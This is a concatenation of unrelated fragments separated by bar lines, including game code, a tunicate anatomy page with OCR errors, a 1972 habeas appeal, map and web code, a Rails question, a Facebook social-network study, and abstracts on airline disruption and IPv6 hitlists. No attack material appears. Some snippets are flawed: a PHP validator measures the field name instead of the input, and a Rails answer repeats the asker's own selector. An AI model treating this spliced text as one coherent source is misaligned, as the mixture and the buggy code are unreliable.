if(type == 0)
{
if(Platform::Utility::Random() % 100 < 5)
type = 2;
else type = 1;
}
vx = ((Platform::Utility::Random() % 100) - 50.0f) * 0.03f;
vy = ((Platform::Utility::Random() % 100) - 50.0f) * 0.03f;
if(type == 1)
return 500 + (Platform::Utility::Random() % 500);
else if(type == 2)
return 20 + (Platform::Utility::Random() % 20);
return 0;
}
Eff BulletsExample::Senior::OnEff(int type)
{
return Eff::LINEUP;
}
void BulletsExample::Senior::OnRender(ZayPanel& panel, int type)
{
if(type == 1)
{
ZAY_RGBA(panel, 128, 0, 128, 224)
panel.circle();
}
else
{
ZAY_RGBA(panel, 224, 255, 0, 224)
panel.fill();
}
}
int BulletsExample::Senior::OnRenderUser(ZayPanel& panel, int id, float vx, float vy)
{
ZAY_RGB_IF(panel, 0, 0, 255, id == 0)
ZAY_RGB_IF(panel, 255, 0, 0, id != 0)
ZAY_XYRR(panel, 0, 0, 20, 20)
panel.circle();
return 20;
}
|
Challenge-Based+Learning+and+Critical+Thinking
=Challenged Based Learning and Critical Thinking=
* Katie Morrow, O'Neill Public Schools, & Debbie Schraeder, ESU#3 Facilitator**
* http://esuchallenge.wikispaces.com
|
114 BULLETIN 100, UNITED STATES NATIONAL MUSEUM.
Mantle thin, not adherent to the test in preserved specimens ex cept in the region of the apertures. Musculature very slight or almost wanting on most parts of the body, but slender bands radiate from the apertures and generally unite in groups to form larger bands. These, however, do not extend far from the apertures except those near the two angles of the mouth-like cleft. There the bands are long and stout and closely grouped, and serve to move the valve or cover.
Tentacles simple, rather small and widely spaced, about 32 in number of 3 orders rather regularly arranged; in addition there are a few fourth-order tentacles in some parts of the circle. (This count was made in one of the largest specimens.)
interval directed forward.
Figs. 68-71. — Rhgdosoma papillosum (Stimpson). 68, External view. X 1.25. GO, Dossal tubercle, part of dorsal lamina, and part of the circle of tentacles. X 10. 70, Part of branchial sac. X 15. 71, Stomach, part of intestine, and
guets.
Branchial sac without folds or minute plications. Transverse vessels very numerous, of two sizes placed alternately in most parts of the sac, but in some places nearly uniform in size. The intervals between the transverse vessels are divided by very numerous slender longitudinal vessels into rather narrow stigmata. At intervals of 3 or 4 stigmata small curved papillae arise from the transverse vessels and support slender internal longitudinal vessels. They pro ject a trifle^ beyond their point of union with the internal longi tudinal vessels. The latter in large and old individuals are mostly incomplete and interrupted between the supporting papillae so that they form merely lateral branches of these papillae. (See fig. 70.) In one of the smaller and doubtless much younger individuals the internal longitudinal vessels were found to be much less reduced and were practically complete over considerable areas in some parts of the sac. Here and there one of the transverse vessels tapers off
|
#!/usr/bin/env python3.6
import pandas, json, sys
csvfile = '/path/to/aikatsu8.csv'
def main():
try:
df = pandas.read_csv(csvfile, header=None)
except FileNotFoundError:
print('csvfile {} is not found'.format(csvfile))
sys.exit()
data = df.values
rankings = []
for line in data:
count = 0
rank = []
name = []
for column in line:
if count == 0:
count += 1
ranks = {"datetime": line[0].rstrip(' 現在のランキング')}
continue
rank_name = column.split('位')
rank.append(int(rank_name[0]))
name.append(rank_name[1])
array = dict(zip(name, rank))
ranks.update(array)
rankings.append(ranks)
dat_datetime = []
for i in rankings:
dat_datetime.append(i['datetime'])
dat_output = {'datetime': dat_datetime}
for charname in name:
array = ""
dat_charname = []
for i in rankings:
dat_charname.append(i[charname])
array = {charname: dat_charname}
dat_output.update(array)
return dat_output
def application(env, start_response):
res = main()
start_response('200 OK', [('Content-Type','application/json; charset=utf-8'), ('Cache-Control','public, max-age=1')])
return [bytes(json.dumps(res), 'utf-8')]
if __name__ == '__main__':
print(main())
|
Robert William NEWELL, Appellant, v. A. E. SLAYTON, Jr., Superintendent of the Virginia State Penitentiary, Appellee.
No. 72-1004.
United States Court of Appeals, Fourth Circuit.
Oct. 5, 1972.
Robert William Newell, pro se.
James E. Kulp, Asst. Atty. Gen., for appellee.
Before SOBELOFF, Senior Circuit Judge, and WINTER and CRAVEN, Circuit Judges.
SOBELOFF, Senior Circuit Judge:
Robert William Newell was convicted in the Circuit Court of Virginia Beach, Virginia, of rape and robbery. Newell appeals from the denial of his petition for a writ of habeas corpus by the United States District Court for the Eastern District of Virginia, at Norfolk. Newell raises a number of contentions, which we have carefully considered and which, for the reasons stated in the order of the District Court, 350 F.Supp. 905, we find to be without merit.
Newell raises one claim, however, which requires additional discussion beyond that given it by the District Court.
The victim testified for the state, and made an in-court identification of the defendant. Newell’s mother was the only defense witness, and testified only as to his good character.
Defense counsel asserted that “the defense in this alleged ease of rape is consent.” He then argued in effect that the testimony of the prosecutrix was unbelievable.
In rebuttal to this argument the prosecutor made a comment to the jury that Newell claims violated his Fifth Amendment privilege to remain silent.
The prosecutor stated:
There is no evidence to explain away her [main government witness] testimony. If he wasn’t there where was he? If he wasn’t there on March 10th, 1968, where was he? Was he with somebody else? Rest assured, Mr. Murphy [defense counsel] would have had that other person subpoenaed and on this witness stand to explain where he was if he wasn’t there.
The prosecution thereby attributed an alibi defense to defendant which defendant never asserted, and then proceeded to demolish that defense.
A leading case concerning Fifth Amendment privileges is Griffin v. California, 380 U.S. 609, 615, 85 S.Ct. 1229, 1233, 14 L.Ed.2d 106 (1965), where the Supreme Court held
that the Fifth Amendment * * * forbids either comment by the prosecution on the accused’s silence or instructions by the court that such silence is evidence of guilt.
The Court was dealing in Griffin with direct comment on the defendant’s failure to testify and specific statements that the jury could draw an inference of guilt from that silence.
In Newell’s case, where the prosecution commented on defendant’s failure, not to testify himself, but to produce witnesses to contradict the state’s witness, there was no violation of Newell’s Fifth Amendment rights under the Griffin rule.
Before Griffin was decided, our circuit held that comments by the prosecution concerning failure of the defense to contradict prosecution witnesses was not improper. United States v. Johnson, 337 F.2d 180 (4th Cir. 1964); Davis v. United States, 279 F.2d 127 (4th Cir. 1960).
The District Court in Newell’s case relied upon Herman v. United States, 220 F.2d 219, 225-226 (4th Cir. 1955), where the prosecutor’s emphasis on the fact that the Government’s witnesses were uncontradieted was held proper because he [the prosecutor] “was entirely within his right in commenting upon the fact that the evidence of the Government was undisputed, since he did not comment on the failure of the defendant to testify.”
See also a post-Griffin decision of this court in United States v. Weems, 398 F.2d 274 (4th Cir. 1968).
The prosecutor in the instant case commented on defendant’s failure to contradict the state’s witness through other witnesses. By so doing, the state introduced the red herring of an alibi defense, which Newell hadn’t himself asserted, and then attacked that purported defense.
While such overaealous tactics should not be encouraged, they in no sense violated Newell’s Fifth Amendment privilege against self-incrimination.
The comments did not contain language “manifestly intended or * * * of such character that the jury would naturally and necessarily take it to be a comment on the failure of the accused to testify.” Knowles v. United States, 224 F.2d 168, 170 (10th Cir. 1955).
Accordingly, for the reasons stated above, and by the District Court, a certificate of probable cause to appeal is denied, and the appeal is dismissed.
|
/*
* @author Andreas Schmitt
*/
//<![CDATA[
function GoogleMapIntegration() {
var map;
var gdir;
var geocoder = null;
var addressMarker;
var zoomLevel;
var latitudeId;
var longitudeId;
var mapId;
var directionsId;
var showStartMarker = true;
var smallMap = false;
var isDraggable = true;
var markers = new Array();
this.load = function(pos){
if (GBrowserIsCompatible()) {
map = new GMap2(document.getElementById(mapId));
//Initialize map
initializeMap(map, pos);
//Directions
gdir = new GDirections(map, document.getElementById(directionsId));
GEvent.addListener(gdir, "load", onGDirectionsLoad);
GEvent.addListener(gdir, "error", handleErrors);
}
}
this.setZoomLevel = function(zoom){
zoomLevel = zoom;
}
this.setLatitudeId = function(latId){
latitudeId = latId;
}
this.setLongitudeId = function(lngId){
longitudeId = lngId;
}
this.setMapId = function(mId){
mapId = mId;
}
this.setDirectionsId = function(dirId){
directionsId = dirId;
}
this.setDraggable = function(enabled){
isDraggable = enabled;
}
this.setShowStartMarker = function(show){
showStartMarker = show;
}
this.setSmallMap = function(small){
smallMap = small;
}
this.addMarker = function(pos, isDraggable, desc){
var marker = new GMarker(pos, {draggable: isDraggable});
GEvent.addListener(marker, "dragstart", function() {
map.closeInfoWindow();
});
GEvent.addListener(marker, "click", function() {
marker.openInfoWindowHtml(desc);
});
markers.push(marker);
}
function initializeMap(map, pos){
map.setCenter(pos, zoomLevel);
latElem = document.getElementById(latitudeId);
if(latElem != null){
latElem.value = pos.y;
}
lngElem = document.getElementById(longitudeId);
if(lngElem != null){
lngElem.value = pos.x;
}
map.addControl(new GMapTypeControl());
if(smallMap){
map.addControl(new GSmallMapControl());
}
else {
map.addControl(new GLargeMapControl());
}
if(showStartMarker){
var startMarker = new GMarker(pos, {draggable: isDraggable});
GEvent.addListener(startMarker, "dragend", function() {
if(latElem != null){
latElem.value = startMarker.getPoint().y;
}
if(lngElem != null){
lngElem.value = startMarker.getPoint().x;
}
});
map.addOverlay(startMarker);
}
for (var i = 0; i < markers.length; i++){
map.addOverlay(markers[i]);
}
}
this.showAddress = function(address) {
if(address != ""){
var map = new GMap2(document.getElementById(mapId));
var geocoder = new GClientGeocoder();
geocoder.getLatLng(address,
function(point) {
if (!point) {
alert(address + " not found");
}
else {
initializeMap(map, point);
}
}
);
}
}
this.setDirections = function(fromAddress, toAddress, locale) {
if(fromAddress != "" && toAddress != ""){
gdir.load("from: " + fromAddress + " to: " + toAddress, { "locale": locale });
}
}
this.clearDirections = function(){
gdir.clear();
}
function handleErrors(){
if (gdir.getStatus().code == G_GEO_UNKNOWN_ADDRESS)
alert("No corresponding geographic location could be found for one of the specified addresses. This may be due to the fact that the address is relatively new, or it may be incorrect.\nError code: " + gdir.getStatus().code);
else if (gdir.getStatus().code == G_GEO_SERVER_ERROR)
alert("A geocoding or directions request could not be successfully processed, yet the exact reason for the failure is not known.\n Error code: " + gdir.getStatus().code);
else if (gdir.getStatus().code == G_GEO_MISSING_QUERY)
alert("The HTTP q parameter was either missing or had no value. For geocoder requests, this means that an empty address was specified as input. For directions requests, this means that no query was specified in the input.\n Error code: " + gdir.getStatus().code);
// else if (gdir.getStatus().code == G_UNAVAILABLE_ADDRESS) <--- Doc bug... this is either not defined, or Doc is wrong
// alert("The geocode for the given address or the route for the given directions query cannot be returned due to legal or contractual reasons.\n Error code: " + gdir.getStatus().code);
else if (gdir.getStatus().code == G_GEO_BAD_KEY)
alert("The given key is either invalid or does not match the domain for which it was given. \n Error code: " + gdir.getStatus().code);
else if (gdir.getStatus().code == G_GEO_BAD_REQUEST)
alert("A directions request could not be successfully parsed.\n Error code: " + gdir.getStatus().code);
else alert("An unknown error occurred.");
}
function onGDirectionsLoad(){
}
}
//]]>
|
Chapter 34 (Vigilantes)
Summary
Characters In Order of Appearance
* Taishiro Toyomitsu
* Naomasa Tsukauchi
* Monika Kaniyashiki
* Unnamed Villain
* Kazuho Haneyama
* Koichi Haimawari
|
Rails - Showing custom forms based on which radio button is chosen
I'm trying to use JS to show custom forms based on the radio button that's clicked. I have a collection of radio buttons (code below). So far the forms are hidden but when I click on the button, nothing happens. What am I doing wrong? Thank you very much in advance.
View - radio button collection
<%= form.collection_radio_buttons(:number, [["1", '1'] ,["2", '2'], ["3", '3'], ["4", "4"], ["5", "5"], ["6", "6"] ], :first, :last) do |b| %>
<%= b.label { b.radio_button + image_tag(b.text+'.png') } %>
<% end %>
View - JS
<script type="text/javascript">
document.getElementById("one").style.display = "none";
document.getElementById("two").style.display = "none";
$(document).ready(function() {
$('input[type="radio"][name="number"]').change(function() {
if (this.value == '1') {
document.getElementById("one").style.display = "block";
document.getElementById("two").style.display = "none";
}
else if (this.value == '2') {
document.getElementById("two").style.display = "block";
document.getElementById("one").style.display = "none";
}
});
});
</script>
The forms
<p id="one" class="one" style="">
<%= form.text_area :body, class:'', style:"" %>
</p>
<p id="two" class="two" style="">
<%= form.text_area :body, class:'', style:"" %>
</p>
It appears that you are using JavaScript to correctly hide the forms based on the code you provided. The problem, however, might be with the way your jQuery code is picking the radio buttons.
Try using $('input[type=radio][name=number]') to specifically choose radio buttons with the "name" property set to "number" rather than $('[name=number]'). Your code should become more particular as a result and refrain from selecting input fields with similar "name" characteristics.
The code is provided here:
document.getElementById("one").style.display = "none";
document.getElementById("two").style.display = "none";
$(document).ready(function() {
$('input[type=radio][name=number]').change(function() {
if (this.value == '1') {
document.getElementById("one").style.display = "block";
document.getElementById("two").style.display = "none";
}
else if (this.value == '2') {
document.getElementById("two").style.display = "block";
document.getElementById("one").style.display = "none";
}
});
});
Also, make sure that you have included the jQuery library in your application.
Hi Abhisek, thank you. It's not working, but I appreciate it.
|
<?php
namespace App;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\SoftDeletes;
use Carbon\Carbon;
class Coupon extends Model
{
/*
* Target subtotal = COUPON_TARGET_SUBTOTAL
* Target item = COUPON_TARGET_ITEM
*/
use SoftDeletes;
protected $table = 'coupon';
protected $fillable = ['name', 'coupon', 'condition', 'value', 'quantity', 'is_used', 'start_date', 'end_date'];
protected $dates = ['start_date', 'end_date'];
/**
* Parse start date to sql datetime
* @param $value
*/
public function setStartDateAttribute($value){
$this->attributes['start_date'] = Carbon::createFromFormat('d-m-Y H:i', $value)->toDateTimeString();
}
/**
* Parse end date to sql datetime
* @param $value
*/
public function setEndDateAttribute($value){
$this->attributes['end_date'] = Carbon::createFromFormat('d-m-Y H:i', $value)->toDateTimeString();
}
public function getTargetAttribute($value){
switch($value){
case 1:
$target = 'subtotal';
break;
default:
$target = 'subtotal';
}
return $target;
}
public function getValueAttribute($value){
if($value <= 100){
return "$value%";
}
return money_format($value, env('MONEY_SUFFIX'));
}
public function scopeCheck($query, $coupon){
$now = Carbon::now()->toDateTimeString();
return $query->where('coupon', $coupon)
->where('start_date', '<=', $now)
->where('end_date', '>=', $now)
->whereRaw('is_used < quantity');
}
}
|
Czarnotka
Czarnotka is a village in the administrative district of Gmina Piotrków Kujawski, within Radziejów County, Kuyavian-Pomeranian Voivodeship, in north-central Poland.
|
package com.dbjpa.sprongboot.jpa.config;
public class ReturnJson<T> {
private Integer code;
private String message;
private T data;
public Integer getCode() {
return code;
}
public void setCode(Integer code) {
this.code = code;
}
public String getMessage() {
return message;
}
public void setMessage(String message) {
this.message = message;
}
public T getData() {
return data;
}
public void setData(T data) {
this.data = data;
}
private ReturnJson(Integer code, String message) {
this.code = code;
this.message = message;
this.data = null;
}
private ReturnJson(Integer code, String message, T data) {
this.code = code;
this.message = message;
this.data = data;
}
/**
* 支持自定义的code和message
*/
public static ReturnJson json(Integer code, String message) {
return new ReturnJson(code, message);
}
public static <T> ReturnJson json(Integer code, String message, T data) {
return new ReturnJson<>(code, message, data);
}
/**
* 通用成功
*/
public static ReturnJson success() {
return ReturnJson.json(ReturnEnum.SUCCESS.getCode(), ReturnEnum.SUCCESS.getMessage());
}
public static <T> ReturnJson success(T data) {
return ReturnJson.json(ReturnEnum.SUCCESS.getCode()
, ReturnEnum.SUCCESS.getMessage(), data);
}
/**
* 带分页信息的通用成功
*/
public static <T> ReturnJson pageSuccess(Long totalRecords, Integer currentPage, Integer pageSize, T data) {
return ReturnJson.success(new PageInfo<>(totalRecords, currentPage, pageSize, data));
}
/**
* 通用失败
*/
public static ReturnJson fail() {
return ReturnJson.json(ReturnEnum.FAIL.getCode(), ReturnEnum.FAIL.getMessage());
}
}
|
What is the intuitive explanation for what a tensor is?
I'm not major in math or physics, but I've seen tensor many times in the papers regarding to robotics and deep learning.
Can someone give me a novice-level intuitive explanation for what a tensor is? With illustrative figures would be awesome!
Have you looked at this question? That question also links to another one.
Related: https://math.stackexchange.com/questions/10282/an-introduction-to-tensors
|
Examining the Effects of Digital Social Networks on New Physical Human Interactions and Social Networks: A Validation of Dunbar’s Numbers
The digital social network of a user, who had undergone two radical locational changes, was analyzed to assess if digital social networks were influencing the ability of the user to create new physical social bonds in regards to proximal distance of existing social interactions and if new physical social networks conformed to Dunbar’s theorem of the social network size limit. The social network data (users equating to nodes and physical friendships to links) was implemented into the network analysis software “Gephi”. Standard network measures were assessed on the three digital sub-networks with the user removed from the calculations. Two separation algorithms were assessed on the network data, the Force Atlas algorithm and the Fruchterman Reingold algorithm. The results contradicted with existing research indicating that existing digital social networks did not have an effect on the creation of new social bonds after a radical locational change. The creation of new physical social networks conformed in part to Dunbar’s network size limit theorem and existing social links did not affect the user’s ability to create new social partnerships.
Introduction
"Facebook" is a digital social networking service created in 2004 by Mark Zuckerberg [1].A user creates a dig-ital profile and then has the ability to create links with other user profiles, in essence create a digital link between friends.A user also has the ability to perform many other actions, such as exchanging messages with other users (both public and private), posting status updates, sharing photos/videos/web links and importantly displaying common-interests by either joining user groups or 'liking' a common-interests page.Facebook has over 1.3 billion users, with an estimated 49.5% of Americans having a user Facebook profile as of 2011 [2].In the modern day social network, digital services such as Facebook are now an integral part of the social system [3].The ability to communicate with a member of your designated friendship group both personal conversations (private messages) and broadcast messages (status updates, picture sharing etc.), means friendships are unconstrained by physical distances (as the network is digital).With these factors in mind, there arises the issue of dependence on digital social networks, and how these dependences are affecting physical social networks, i.e. the want/need/ ability for forming new social network connections in the real world.
In 1992 and 1993, Dunbar examined the limit and typical social network size of humans and primates.Dunbar's [4] [5] research found that the maximum limit of a human social network size was between 100 and 200 individuals, due to the limit of the Neocortex size in human brains.While studies have been undertaken to examine the implications of digital social networks of physical human social networks, such as the research of Goncalves et al. [6], little research has been placed into these implications using geospatial distance as a defining feature.This research aims to analyze the digital social network of a subject (test human) that has undergone the radial relocation across the earth multiple times, to examine if digital social networks are effecting the want and ability of the subject to create new links within a physical human social network.In simplified terms, what effect is Facebook having on this subjects social network within new environments located at a distance (+100 km) from the previous base of the social network, and does this conform with Dunbar's [4] network limit size theorem.
This research is of both economic and social significance.Socially, the results of this investigation will contribute to ongoing the research in the implications of digital social networks in regards to the ratification or refutation of Dunbar's [4] numbers.Recent investigations have focused on the analysis of social networks from a single point, whereas this investigation has focused on social network analysis using geospatial distance as an influencing factor.The understanding of this problem can help improve the size, the quality and the speed of creation of new physical social networks improving a subject's life both physically and emotionally [7].This research also has economic implications for various reasons.The better understanding of digital social networks allows for the improvement movement of information, skills and resources.The improved movement and logistics of these attributes allows for a better efficiency and improvement to all.Improved social network analysis also has many other economic benefits [8].According to software engineering company [9], social network analysis has vastly improved customer targeting, brand awareness, the detection of health care fraud and many others.Improvements in these areas helps develop the free market to which global economies are based.
Taking these factors into consideration, the research question/study objective of this investigation is: What effects are digital social networks having on new physical human interactions/bonds in regards to the proximal distance of existing social interactions?Do these results confirm to the network limit size theorem proposed by Dunbar [4] [5].
The research objective suggests that the null and alternative hypothesis should be: Ho: Digital social networks are not having an effect on new physical human interactions/connections in regards to distance.
Ha: Digital social networks are having an effect on new physical human interactions/connections in regards to distance.
Data Description and Network Construction
The data used in this network was obtained from the digital social network Facebook.In its simplest form, the data comprises nodes and links, nodes being Facebook user profiles "friends" and links being a digital friendship connection between two Facebook user profiles.A link is formed by a node (user profile) manually confirming the link between, by accepting a friendship request.This is the only method of link formation, unlike other digital social networks like Twitter, where a user can create a link without the confirmation of the user in question.This gives Facebook a closer relationship to a real human social network, as a physical confirmation is required before a link is formed.
The data was acquired from Facebook via the application Netvizz v1.01.This retrieves a user's Facebook friend list (the nodes) and the mutual connections between nodes within this network.The data was formatted into a matrix database GDF file similar to that of a coma separated file (CSV), also allowing for the support of attribute data of both the nodes and edges, making this format ideal of digital social network analysis.The user profile under analysis was created 09/11/2006 and contains 619 nodes (friends) and 8805 edges (mutual friendship connections).The radical relocations occurred twice, firstly August 2012, just under 6 years after the creation of the profile) and secondly August 2014, just less than 8 years after the profile was created.The network data itself removes the user profile edges from the data, i.e. the analysis excludes all the links/ties that include Ego (the profile account holder) as to not falsely skew the statistical network analysis results.
The digital social network data acquired for this investigation is the data of the author's (as of this point known as the user) personal Facebook.The data in question is ideal in regards to fulfilling the study objective of this research (the effects of digital social networks on real social networks in regards to geospatial distance), as the user in question has undergone multiple radical geo-relocations at various periods from the creation of the user Facebook profile.The separate geo-relocations were to areas where the total number of existing social network links, both physical and digital, was equal to zero.That is, the user moved to locations where they did not have previous social connections with a single person of any kind.Additionally the data contains zero fake user profiles (bots/spam), a common factor in today's digital social networks [10].Each node is the user profile of that specific person, known to the user in the physical world.These factors make the digital social network data of this user Facebook profile ideal for this investigation.
Methodology of Network Analysis
The digital social network data was implemented into the network analysis and projection software Gephi (version 0.8.2-development tool).A series of network measures and projections were undertaken to analyze both the total network and sub-networks to meet the study objectives of this research.As mentioned previous, a physical confirmation needs to be undertaken for a link between two nodes to occur, this therefore implies that the network is undirected, as the confirmation implies a mutual agreement of friendship.Therefore all network measures are performed on the undirected network.
Initial network measures were run using the Gephi network analysis tools.These include: Network density measures (average degree, total/in-degree/out-degree distribution plots), the clustering coefficient metrics (average clustering coefficient, total triads and the distribution), modularity (size distribution and number of communities, centrality measures (diameter, average path length, betweenness/closeness/eccentricity distribution reports) and number of connected components (weakly-undirected network).The calculation of these standard network measures allows for both the analysis of the network itself but also gives meaning to projection algorithms when used to label and identify nodes and links (using both color and size).
The main objective of this research is to analyze the effect of digital social networks on physical social interactions in regards to distance.Therefore the identification of communities within the network is the key factor in the analysis.Using the modularity (the fraction of the edges that fall within the given groups minus the expected number of edges if distribution of edges occurred randomly) of each node as a method of community detection nodes can be colored in regards to groups.
With clusters/communities detected and identified separation algorithms were implemented to project nodes into their designated communities, for further node analysis.Two separate algorithms were applied to the network data; the Force Atlas and the Fruchterman Reingold algorithm.The Force Atlas algorithm applies inertia, repulsion, attraction and gravitational (location attraction) forces to nodes and links to give motion to the network to project nodes into communities with edges similar lengths.The Fruchterman Reingold [11] algorithm is similar in nature to the Force Atlas (force-directed layout algorithm) but differs as a maximum allowable area (circular) is imposed on the projection, as a defined by the number of nodes.Upon completion of the algorithms, the communities identified were split into their geographic designation and further analyzed against time (denoted by the user's total time within the location).The communities against time period calculations are then compared, to analyze the effect (if any) digital social networks are having on physical social interactions in relation to time.
Results
Table 1 displays the results of various selected network measures.As a mandate for the data acquired for this S1 and Figure S2) can be found in the Supporting Figures section.Figure 3 (below) gives the results of different network measures used to alter the size and color of the nodes, three of the images have previously been run with the Fruchterman Reingold separation algorithm, whereas The bottom right image has been projected using the Force Atlas algorithm.Image 1 (top left) is a display of degree density (high density = larger node, darker color).Image 2 (top right) is a representation of node Eigenvector Centrality score (higher importance = larger node, darker color).Image 3 (bottom left) is a representation of Eccentricity Centrality (node size-number of links, node color eccentricity score).Image 4 (bottom right) is a representation of sex assigned to each node (blue male, pink female, green unidentified).
Table 2 contains the results of various network measures run on network partitions indicated by the 3 geolocations as specified by the user (UK, Canada and USA).The forced partitioning algorithms confirmed these separate clusters/communities. Simple division into categories by time is not a suitable option, due to the ability of the user/users social network to create links at any time, regardless of geolocation.The last row of Table 2. gives an average number of friends created per day, this is calculated by dividing the number of nodes (friends) within these sub-networks, by the total number of days that sub-network has existed.Time of sub-networks is not concurrent, as the subject has left the geo-locational base of the sub-network.Therefore once radial movement has occurred; the membership of the sub-network is closed.Comparisons between results will be discussed further below (Discussion and Conclusions section).
Discussion and Conclusions
The results of the network analysis, both of the total network itself and sub-networks, provides interesting results into the effects of digital social networks (in this case Facebook) on physical human social networks when the user incurs a radial geo-locational movement.As Table 2 shows, the user creates new extensive physical social networks when relocates to a new location meaning leading to two possible conclusions.Either digital social networks have little to effect on the user's ability/want to create new friendships or aid the user in new friendship creation (link creation) by previous familiarity with a previously unknown person by association.In any case, the data suggests that digital social networks are having a neutral or a positive impact, not a negative impact.This analysis confirms Dunbar's [4] [5] network limit size theorem, as the number of nodes is close to his predicted figure.The data suggests that there should be a difference in the quality of the sub-social networks.The average weighted degree difference and the average Clustering Coefficient for the UK sub-network, are much higher than the Canadian sub-network.This means that on a network level, each node shares more links with other nodes, and on a social network level, the user's friends are more likely to share a social connection.
Price [12] has suggested that digital social networks are having a negative effect on physical human social networks by a user resorting to online communication with old links rather than pursuing new social friendships (nodes and links), but the results from this investigation prove otherwise in a certain context.One theory can be that both the results of this investigation and Price [12] are correct, where the analysis differs is that the user from this investigation is relocated to an area where no previous social links exist and the distance from the previous network (UK sub-network) is extremely far (2700 miles/4345 kilometers).As the results from the network analysis indicate, both the UK and Canadian sub-networks are fully matured and thriving.Therefore it is proposed that digital social networks can have an effect on physical human social networks but distance between sub-networks is a very important factor.This theory makes logical sense considering the following two examples.The relocation to an area 1 hour away (by car-100 miles) from the current physical social network base will not require the user to create a new sub-network of social links.Due to the short distance, the user can easily maintain contact with previous nodes and have physical social interactions due to the short distance (both users traveling 30 minutes towards each other needs little effort).Relocation by the user to an area 10 hours away (by plane-2000 miles) will mean the ease of physical contact with previous nodes is removed (due to high cost/time), therefore the user is forced to create a new social sub-network to avoid loneliness.These logical examples agree with the theory that digital social networks are not having an effect on physical social networks but only over a certain distance.Further research will be required to calculate this distance, which more than likely varies from person to person depending on social characteristics (introvert/extrovert etc).
According to Backstrom et al. [13], a social network requires a certain amount of time to develop.Therefore comparisons with the results gained from the USA sub-network will be premature, as the network is still in its infancy.But the information from the analysis of this network is useful in regards to the processes that start when a new sub-network is formed.The data indicates that the creation of a social network can follow a Logistic Sigmoid curve when friendship number is plotted over time.When considered as the logical shape, the graph begins with initial friendship creations.This is currently highlighted by the number of individual weakly connected components within the USA sub-network.Friendships are initially created through randomized social interactions, meaning a minimal chance of these initial friendships sharing a link.As time progresses nodes and links exponentially increase as friends of friends are incorporated into the user's social network, then this rate flattens out as Dunbar's [4] numbers begin to take effect, as displaying with the mature UK and Canadian sub-networks.
The forced separation algorithms also provide very useful information when considering what effect digital social networks are having.The results from Table 2 indicate that both the UK and Canadian sub-network are one connected component, when analyzed together it is also found to be one connected component.The forced separation algorithms allowed for the identification of the single link that formed a connection between the two sub-networks (exchange student from UK).Without the separation algorithms, the location of this link would have been close to impossible to find (visually) given the vast amounts of nodes and links.The visualization of data forms an important part of network analysis as it provides context to individuals without understanding of network analysis concepts (such as centrality measures).
In conclusion, the results of this investigation suggest that digital social networks are having either a positive or no effect on physical social networks in relation to distance.It is theorized that due to conflicting results of investigations, there is a possibility that digital social networks such as Facebook may affect physical social networks but only when relocation distance is small.In addition the results of the analysis of the separate subnetworks confirm Dunbar's [4] network limit size theorem.
There are several options to be considered for future work.This investigation is focused on an egocentric network i.e. the individual digital social network of the investigator; performing identical analysis on multiple digital social networks, which have also undergone radical relocation and comparing the results of the standard network measures, is the next logical step in the analysis of effect of digital social networks on physical social networks.
Figure 1 .
Figure 1.Two images showing the initial display of the network with no layout alterations.Facebook network data visualized using the software Gephi V0.8.2.The bottom image has assigned color to each nodes using modularity as a method of node community detection.
Figure 2 .
Figure 2. Two images showing the results of the separation algorithms.The top image displays results of the Force Atlas algorithm and the bottom, Fruchterman Reingold.Facebook network data displayed after implementation through various separation algorithms.Node cluster colors differ between each image.
Figure 3 .
Figure 3. Four images displaying the results of node alteration to represent different network measures.Facebook network data implemented through separation algorithms, with node color and size representative of different network measures.
Table 1 .
A table displaying the results of selected network measures.
Table 1
are discussed further below (Discussion and Conclusions section).Figure1(below) displays an initial projection of digital social network data (top) and this initial projection with the modularity (bottom) used to identify clusters (with these separate clusters colored differently).Figure2(below) displays the final result of the separation algorithms applied to the social network data (Force Atlas-top, Fruchterman Reingold-bottom), animations of these algorithms (Figure
Table 2 .
A table displaying the results of selected network measures on nodes and links that had been partitioned into geographic communities (UK, Canada and USA).
|
Since the 1970s, most airlines have incorporated computerized support for
managing disruptions during flight schedule execution. However, existing
platforms for airline disruption management (ADM) employ monolithic system
design methods that rely on the creation of specific rules and requirements
through explicit optimization routines, before a system that meets the
specifications is designed. Thus, current platforms for ADM are unable to
readily accommodate additional system complexities resulting from the
introduction of new capabilities, such as the introduction of unmanned aerial
systems (UAS), operations and infrastructure, to the system. To this end, we
use historical data on airline scheduling and operations recovery to develop a
system of artificial neural networks (ANNs), which describe a predictive
transfer function model (PTFM) for promptly estimating the recovery impact of
disruption resolutions at separate phases of flight schedule execution during
ADM. Furthermore, we provide a modular approach for assessing and executing the
PTFM by employing a parallel ensemble method to develop generative routines
that amalgamate the system of ANNs. Our modular approach ensures that current
industry standards for tardiness in flight schedule execution during ADM are
satisfied, while accurately estimating appropriate time-based performance
metrics for the separate phases of flight schedule execution.
|
<?php
Include "./dbOperation.php";
$valid=array();
$errors=array();
$maxSizeCourse =128;
$maxSizeName=128;
$maxLengthDescription=1024;
function validate ($name, $limit, &$valid, &$errors)
{
$check=$_POST["$name"];
if (!$check)
{
$errors["$name"]="$name е задължително поле";
}
elseif(strlen("$name")>$limit)
{
$errors["$name"]="$name трябва да бъде не повече от $limit символа";
}
else
{
$valid["$name"]=$check;
}
}
function check ($name, &$valid, &$errors)
{
$var=$_POST["$name"];
if (!$var)
{
$errors["$name"]='Полето е задължително';
}
else
{
$valid["$name"]=$var;
}
}
if ($_POST)
{
validate("title", $maxSizeCourse, $valid, $errors);
validate("name", $maxSizeName, $valid, $errors);
validate("description", $maxLengthDescription, $valid, $errors);
}
if(isset($_POST['submit']) && count($errors)==0)
{
connection();
echo "Success!";
}
else
{
echo "There is invalid input! Please enter the information again!";
echo '<a href="index.html">Go to homepage</a>';
}
?>
|
Today's network measurements rely heavily on Internet-wide scanning,
employing tools like ZMap that are capable of quickly iterating over the entire
IPv4 address space. Unfortunately, IPv6's vast address space poses an
existential threat for Internet-wide scans and traditional network measurement
techniques. To address this reality, efforts are underway to develop
``hitlists'' of known-active IPv6 addresses to reduce the search space for
would-be scanners. As a result, there is an inexorable push for constructing as
large and complete a hitlist as possible.
This paper asks: what are the potential benefits and harms when IPv6 hitlists
grow larger? To answer this question, we obtain the largest IPv6 active-address
list to date: 7.9 billion addresses, 898 times larger than the current
state-of-the-art hitlist. Although our list is not comprehensive, it is a
significant step forward and provides a glimpse into the type of analyses
possible with more complete hitlists.
We compare our dataset to prior IPv6 hitlists and show both benefits and
dangers. The benefits include improved insight into client devices (prior
datasets consist primarily of routers), outage detection, IPv6 roll-out,
previously unknown aliased networks, and address assignment strategies. The
